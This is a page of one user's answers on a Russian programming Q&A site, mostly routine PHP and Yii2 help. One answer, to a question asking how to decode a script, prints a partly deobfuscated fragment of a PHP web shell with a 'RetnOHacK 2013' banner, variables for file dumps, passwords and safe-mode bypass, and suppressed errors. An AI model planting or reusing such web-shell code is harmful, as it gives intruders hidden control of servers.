• Ошибка в цикле?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    О - Отладка.

    В случае проблем вы смотрите что именно вам пришло, как пришло и в каком формате. Зачастую достаточно просто сделать var_export(), или любой аналогичный дамп, чтобы обнаружить проблему.

    Если по какой-то причине нельзя сделать дамп используете логирование. Подключаете любой удобный логер и пишете в логи результаты работы. После выполнения скрипта открываете логи и смотрите что там как.

    В самых сложных случаях используете отладчик - XDebug или подобные.
    Ответ написан
    Комментировать
  • Есть ошибка в checkout.php cms opencart 1.1.5?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Не знаком с openCart, но судя по ошибке у вас отсутствует нечто, что отвечает за методы доставки - (shipping_method). Убедитесь, что приложение установлено правильно и все необходимые компоненты присутствуют и правильно сконфигурированы.
    Ответ написан
    1 комментарий
  • Как перезагрузить страницу actionIndex из виджета Yii2?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Не делайте так, как вы хотите. Рефреш нужно делать в контроллере, не в виджете, не в модели.

    Но если вам очень-очень хочется, то пожалуйста:
    Yii::$app->getResponse()->redirect( $url )->send(); # Укажите ссылку
    Yii::$app->end();
    Ответ написан
    Комментировать
  • Как переопределить базовый метод в yii2?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Есть все готовое, не надо ничего переопределять.
    Просто нужно правильно сконфигурировать компонент.

    www.yiiframework.com/doc-2.0/guide-tutorial-i18n.h...

    'components' => [
        // ...
        'i18n' => [
            'translations' => [
                'app*' => [
                    // ...
                    'on missingTranslation' => ['app\components\TranslationEventHandler', 'handleMissingTranslation']
                ],
            ],
        ],
    ],


    Знайте, подобные штуки должны работать только при YII_ENV === 'dev'
    Ответ написан
    Комментировать
  • Как расшифровать?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    ${'GLOBALS'}['ytqsidbuwb']='us';
    ${'GLOBALS'}['fygfwfpp']='c';
    ${'GLOBALS'}['xssukethlx']='configuration';
    ${'GLOBALS'}['znlfcg']='consym';
    ${'GLOBALS'}['xrnrqneeqyfn']='dir';
    ${'GLOBALS'}['yyxpgtifb']='rt';
    ${'GLOBALS'}['safsnsptq']='g';
    ${'GLOBALS'}['otmvwuyr']='users';
    ${'GLOBALS'}['nfdniye']='link';
    ${'GLOBALS'}['lgcmkkj']='rr';
    ${'GLOBALS'}['uuoeldlhn']='r';
    ${'GLOBALS'}['rshfreslhmx']='safe_mode';
    ${'GLOBALS'}['mjjjsyc']='safe_mode';
    ${'GLOBALS'}['hrqpjl']='pass';
    ${'GLOBALS'}['mpkqzbudyse']='user';
    ${'GLOBALS'}['srpuccung']='a1';
    ${'GLOBALS'}['kpmbrod']='ok';
    ${'GLOBALS'}['rrkfvuyt']='id2';
    ${'GLOBALS'}['zmerlgzk']='a2';
    ${'GLOBALS'}['lsccxrnbhw']='username';
    ${'GLOBALS'}['oibbfucdc']='value';
    ${'GLOBALS'}['ucnibgygdq']='e';
    ${'GLOBALS'}['jnwtdjeb']='att';
    
    ${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-
    Ответ написан
    1 комментарий
  • Как создать админ в Yii2 base версии без лишних скачиваний и проч?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    У вас есть контроллер AdminController в корне папки контроллеров и остальные контроллеры в папке admin. При запросе на URL /admin/* подозреваю, что система пытается найти экшн-методы в контроллере AdminController, при этом игнорирует все остальные контроллеры в папке admin.

    Вам нужно переместить контроллер AdminController в папку admin, переименовать его во что-то вроде AuthController и написать правило для UrlManager. Правило должно выглядеть подобным образом: '/admin' => 'admin/auth/login'. Теперь у вас все запросы на URL /admin будут перенаправляться на контроллер AuthController, на экшн-метод login. И визуально будет именно так, как вам хочется.
    Ответ написан
    1 комментарий
  • Как документировать тип переменной в классе-наследнике в PHP?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Очень внезапно, и правда :)
    /**
    * @var mixed[]
    */
    protected $items = [];


    Вот оно:
    /**
     * @property SomeClass[] $items
     */
    class SomeCollection extends IterableCollection
    // ...


    Еще вариант:
    public function doSomeWork()
    {
        /** @var SomeClass[] $items */
        $items =  $this->items;
    
        $items[0]->someMethod();
    }


    И еще вариант:
    /**
     * @return SomeClass[]
     */
    protected function getItems ()
    {
        return $this->items;
    }
     
    public function doSomeWork()
    {
        $this->getItems()[0]->someMethod();
    }
    Ответ написан
    5 комментариев
  • Как отследить вызов метода объекта PHP?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Можно и так. Статические методы сделайте private/protected. Используя PHPDoc укажите какие именно публичные методы доступны для вызова. Метод __callStatic будет перехватывать попытки вызова закрытых методов, вы сперва проверите наличие этого метода, потом сделаете нужную вам инициализацию и потом лишь передадите управление этому методу.

    Вот вам пример. Но я бы не советовал его использовать в реальных приложениях - он плохо пахнет.
    /**
     * @method static mixed one()
     * @method static mixed two()
     * @method static mixed three()
     */
    class Auto
    {
        protected static $instance;
    
        public static function __callStatic ( $name, $arguments )
        {
            if ( static::$instance === null ) {
                static::$instance = new static();
            }
            $method = "static_{$name}";
            if ( method_exists( static::$instance, $method ) ) {
                return call_user_func_array( [ static::$instance, $method ], $arguments );
            }
            throw new BadMethodCallException( '...' );
        }
    
        protected function static_one ()
        {
            echo 'Вызов метода ' . __METHOD__ . PHP_EOL;
        }
    
        protected function static_two ()
        {
            echo 'Вызов метода ' . __METHOD__ . PHP_EOL;
        }
    
        protected function static_three ()
        {
            echo 'Вызов метода ' . __METHOD__ . PHP_EOL;
        }
    }
    
    Auto::one(); # Вызов метода AutoCreate::static_one
    Auto::two(); # Вызов метода AutoCreate::static_two
    Auto::three(); # Вызов метода AutoCreate::static_three
    Ответ написан
    2 комментария
  • Выбор фреймворка под определенную задачу?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Один из трех: Symfony, Yii или Laravel.

    да да, я не работал никогда с ними :)

    Это плохо...
    Ответ написан
    4 комментария
  • Где внедрять зависимости?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Эммм... Контроллер создает роутер? Вам не кажется это странным?
    На самом деле роутер должен создаваться ДО создания контроллера. То есть он сперва должен быть создан, инициализирован используя конфигурацию, после чего на основе указанных роутов и запроса определить какой именно был вызван и тогда лишь наступает очередь контроллера.

    public function __construct(Request $request, Settings $settings, Router $router, Logger $logger)

    Почему не используете тот же ServiceLocator?
    Ответ написан
    Комментировать
  • Yii2 не могу догнать как вставлять записи при связи таблиц hasOne?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    > $post->link('postInfo', $postInfo);

    Сохранить же сперва надо. Тогда появятся ID у сущностей и будет работать.

    > ... && $post->create()) {

    ->save()
    Ответ написан
  • Глобальные переменные yii2?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    > Было бы не плохо записать адреса в config/params.php но как потом оттуда доставать значения?

    Yii::$app->params[ '...' ];
    Ответ написан
    2 комментария
  • Как переделать или доделать фильтр поиска?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    # Метки времени для группировки. Не забываем про часовой пояс ;)
    $todayTimestamp = strtotime( date( 'd.m.Y' ) ); # Полночь, сегодня
    $tomorrowTimestamp = $todayTimestamp + 86400; # Полночь, завтра
    
    # Фильтруем по хроникам
    if ( !empty( $_POST[ 'chronicles' ] ) ) {
        $chroniclesFilter = $_POST[ 'chronicles' ];
        foreach ( $servers as $i => $server ) {
            $chronicle = !empty( $server[ 'chronicles' ] ) ? $server[ 'chronicles' ] : false;
            if ( $chronicle !== $chroniclesFilter ) {
                unset( $server[ $i ] );
            }
        }
    }
    
    # Фильтруем по рейтингам
    if ( !empty( $_POST[ 'raites' ] ) ) {
        $raitesFilter = $_POST[ 'raites' ];
        foreach ( $servers as $i => $server ) {
            $rate = !empty( $server[ 'raite' ] ) ? $server[ 'raite' ] : false;
            if ( $rate !== $raitesFilter ) {
                unset( $server[ $i ] );
            }
        }
    }
    
    # Формируем группы серверов по дате открытия
    $todayList = [ ];
    $closedList = [ ];
    $openedList = [ ];
    foreach ( $servers as $server ) {
        $isAllow = isset( $server[ 'allow' ] ) ? (bool) $server[ 'allow' ] : false;
        # Только разрешенные сервера
        if ( $isAllow ) {
            $openDate = DateTime::createFromFormat( 'Y-m-d', $server[ 'open_date' ] )->getTimestamp();
            if ( $openDate >= $tomorrowTimestamp ) {
                # Открывается завтра или позже
                $closedList[] = $server;
            } elseif ( $openDate >= $todayTimestamp ) {
                # Открывается сегодня
                $todayList[] = $server;
            } else {
                # Уже открыт
                $openedList[] = $server;
            }
        }
    }
    
    echo '<pre>';
    # Все сервера, которые подходят по условиям
    var_export( $servers );
    # И разбитые по группам
    var_export( $todayList );
    var_export( $closedList );
    var_export( $openedList );
    Ответ написан
  • Может у кого есть блокировщик Советника Яндекс-маркета?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    ?ymclid=0 к своим URL добавьте, и он не сработает
    Ответ написан
  • Почему не работает пространство app в папке common yii2?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Есть PSR-4, правила автозагрузки следуют ему, работает это все через Composer. У вас же второй Yii, верно?
    Модель в папке common\models должна иметь неймспейс common\models.

    У вас какой-то гибрид basic и advanced версий Yii2? Откуда при папке common появился неймспейс app?
    Ответ написан
    Комментировать
  • Как создать свое правило валидации в yii2?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    ['post', 'validatorLongWords'],

    public function validatorLongWords ( $attribute )
    {
        $parts = explode( ' ', $this->$attribute );
        foreach ( $parts as $word ) {
            if ( strlen( $word ) > static::LONG_WORD ) { # Для UTF-8 и русского текста используем mb_strlen( $word )
                $this->addError( $attribute, 'Слишком длинное слово в строке, да...' );
                break; # или return;
            }
        }
    }
    Ответ написан
    1 комментарий
  • Как изменить внешний вид виджета?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Вам нужно расширить либо виджет в пакете, либо форкнуть пакет и модифицировать под себя. Расширить это extends ;)
    Ответ написан
    Комментировать
  • Как сделать выборку в strpos?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    $string = 'name2.txt';
    
    $result = preg_replace('/[^0-9]/', '', $string);
    if ($result >= 0 && $result <= 2) {
    	echo 'hello word';
    }
    Ответ написан
  • Yii2 Написать такой запрос для вставки?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Yii::$app->db->createCommand()->insert('review', [
        'review_date' =>$reviewDate ,
        'review_name' => $reviewName,
        'product_id' => $productId,
        'review' => $review,
    ])->execute();

    или создаем сущность и сохраняем через ActiveRecord
    $review = new Review([
        'review_date' =>$reviewDate ,
        'review_name' => $reviewName,
        'product_id' => $productId,
        'review' => $review,
    ]);
    $review->save();


    Вы точно читали документацию?
    Ответ написан
    Комментировать
  • Yii2 Русский текст в ActiveForm?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Переключить язык на русский.

    1. В конфиге 'language' => 'ru-RU',
    2. Прямо в процессе работы приложения Yii::$app->language = 'ru-RU';

    П.С. Yii2
    Ответ написан
    Комментировать